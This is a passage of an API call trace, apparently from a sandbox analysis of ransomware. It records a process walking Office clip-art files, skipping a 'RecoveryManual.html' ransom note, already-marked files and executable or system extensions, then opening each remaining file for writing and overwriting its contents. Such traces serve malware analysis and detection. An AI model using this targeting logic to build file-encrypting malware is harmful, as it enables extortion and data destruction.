[0269.051] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.051] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.051] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.051] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.051] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.051] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.051] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.051] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.051] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.051] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.051] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.051] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.051] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.051] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF" [0269.051] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF.ReadManual.5A595725" [0269.051] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF.ReadManual.5A595725") returned 87 [0269.051] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38971977086) returned 1 [0269.051] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf")) returned 0x20 [0269.052] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.052] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2342) returned 1 [0269.052] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x926, lpName=0x0) returned 0x184 [0269.052] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.053] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.053] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.055] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.055] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x926) returned 0x2f0000 [0269.055] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.055] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38972396892) returned 1 [0269.055] CloseHandle (hObject=0x184) returned 1 [0269.055] SetSecurityInfo () returned 0x57 [0269.055] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.055] CloseHandle (hObject=0x194) returned 1 [0269.056] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa18b0a00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa18b0a00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0xab2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0241043.WMF", cAlternateFileName="")) returned 1 [0269.056] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0241043.WMF" | out: lpString1="J0241043.WMF") returned="J0241043.WMF" [0269.056] lstrcmpiW (lpString1="J0241043.WMF", lpString2="RecoveryManual.html") returned -1 [0269.056] StrStrIW (lpFirst="J0241043.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.056] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.056] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.056] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.056] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.056] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.056] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.056] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.056] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.056] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.056] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.056] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.056] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.056] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.056] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.056] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF" [0269.056] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF.ReadManual.5A595725" [0269.056] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF.ReadManual.5A595725") returned 87 [0269.056] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38972493849) returned 1 [0269.056] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf")) returned 0x20 [0269.057] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.057] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2738) returned 1 [0269.057] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xab2, lpName=0x0) returned 0x184 [0269.057] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.058] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.058] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.060] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.060] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xab2) returned 0x2f0000 [0269.060] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.060] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38972916446) returned 1 [0269.060] CloseHandle (hObject=0x184) returned 1 [0269.060] SetSecurityInfo () returned 0x57 [0269.061] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.061] CloseHandle (hObject=0x194) returned 1 [0269.061] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb49dda00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb49dda00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x82a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0241077.WMF", cAlternateFileName="")) returned 1 [0269.061] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0241077.WMF" | out: lpString1="J0241077.WMF") returned="J0241077.WMF" [0269.061] lstrcmpiW (lpString1="J0241077.WMF", lpString2="RecoveryManual.html") returned -1 [0269.061] StrStrIW (lpFirst="J0241077.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.061] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.061] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.061] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.061] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.061] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.061] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.061] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.061] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.061] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.061] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.061] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.061] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.061] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.061] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.061] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF" [0269.061] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF.ReadManual.5A595725" [0269.061] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF.ReadManual.5A595725") returned 87 [0269.061] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38973015189) returned 1 [0269.061] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf")) returned 0x20 [0269.062] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.062] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2090) returned 1 [0269.062] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x82a, lpName=0x0) returned 0x184 [0269.062] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.063] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.063] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.064] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.064] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x82a) returned 0x2f0000 [0269.065] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.065] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38973343342) returned 1 [0269.065] CloseHandle (hObject=0x184) returned 1 [0269.065] SetSecurityInfo () returned 0x57 [0269.065] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.065] CloseHandle (hObject=0x194) returned 1 [0269.065] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7c98900, ftCreationTime.dwHighDateTime=0x1be9cdc, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7c98900, ftLastWriteTime.dwHighDateTime=0x1be9cdc, nFileSizeHigh=0x0, nFileSizeLow=0xcbe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0241773.WMF", cAlternateFileName="")) returned 1 [0269.065] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0241773.WMF" | out: lpString1="J0241773.WMF") returned="J0241773.WMF" [0269.065] lstrcmpiW (lpString1="J0241773.WMF", lpString2="RecoveryManual.html") returned -1 [0269.065] StrStrIW (lpFirst="J0241773.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.065] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.065] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.065] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.065] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.065] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.065] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.065] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.065] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.065] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.065] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.065] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.065] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.065] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.065] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.066] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF" [0269.066] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF.ReadManual.5A595725" [0269.066] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF.ReadManual.5A595725") returned 87 [0269.066] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38973440085) returned 1 [0269.066] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf")) returned 0x20 [0269.066] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.067] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3262) returned 1 [0269.067] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcbe, lpName=0x0) returned 0x184 [0269.067] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.068] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.068] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.069] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.069] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcbe) returned 0x2f0000 [0269.070] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.070] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38973838822) returned 1 [0269.070] CloseHandle (hObject=0x184) returned 1 [0269.070] SetSecurityInfo () returned 0x57 [0269.070] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.070] CloseHandle (hObject=0x194) returned 1 [0269.070] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb5d1000, ftCreationTime.dwHighDateTime=0x1be9cdc, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb5d1000, ftLastWriteTime.dwHighDateTime=0x1be9cdc, nFileSizeHigh=0x0, nFileSizeLow=0x7b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0241781.WMF", cAlternateFileName="")) returned 1 [0269.070] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0241781.WMF" | out: lpString1="J0241781.WMF") returned="J0241781.WMF" [0269.070] lstrcmpiW (lpString1="J0241781.WMF", lpString2="RecoveryManual.html") returned -1 [0269.070] StrStrIW (lpFirst="J0241781.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.070] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.070] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.070] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.070] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.070] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.070] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.070] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.070] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.070] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.070] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.070] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.070] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.070] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.070] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.070] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF" [0269.071] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF.ReadManual.5A595725" [0269.071] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF.ReadManual.5A595725") returned 87 [0269.071] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38973937351) returned 1 [0269.071] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf")) returned 0x20 [0269.071] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.071] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1970) returned 1 [0269.071] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7b2, lpName=0x0) returned 0x184 [0269.071] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.072] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.072] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.073] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.074] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7b2) returned 0x2f0000 [0269.074] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.074] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38974247364) returned 1 [0269.074] CloseHandle (hObject=0x184) returned 1 [0269.074] SetSecurityInfo () returned 0x57 [0269.074] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.074] CloseHandle (hObject=0x194) returned 1 [0269.074] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7938, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0250504.WMF", cAlternateFileName="")) returned 1 [0269.074] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0250504.WMF" | out: lpString1="J0250504.WMF") returned="J0250504.WMF" [0269.074] lstrcmpiW (lpString1="J0250504.WMF", lpString2="RecoveryManual.html") returned -1 [0269.074] StrStrIW (lpFirst="J0250504.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.074] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.074] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.074] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.074] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.074] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.074] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.074] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.075] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.075] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.075] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.075] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.075] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.075] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.075] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.075] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF" [0269.075] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF.ReadManual.5A595725" [0269.075] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF.ReadManual.5A595725") returned 87 [0269.075] QueryPerformanceCounter (in: 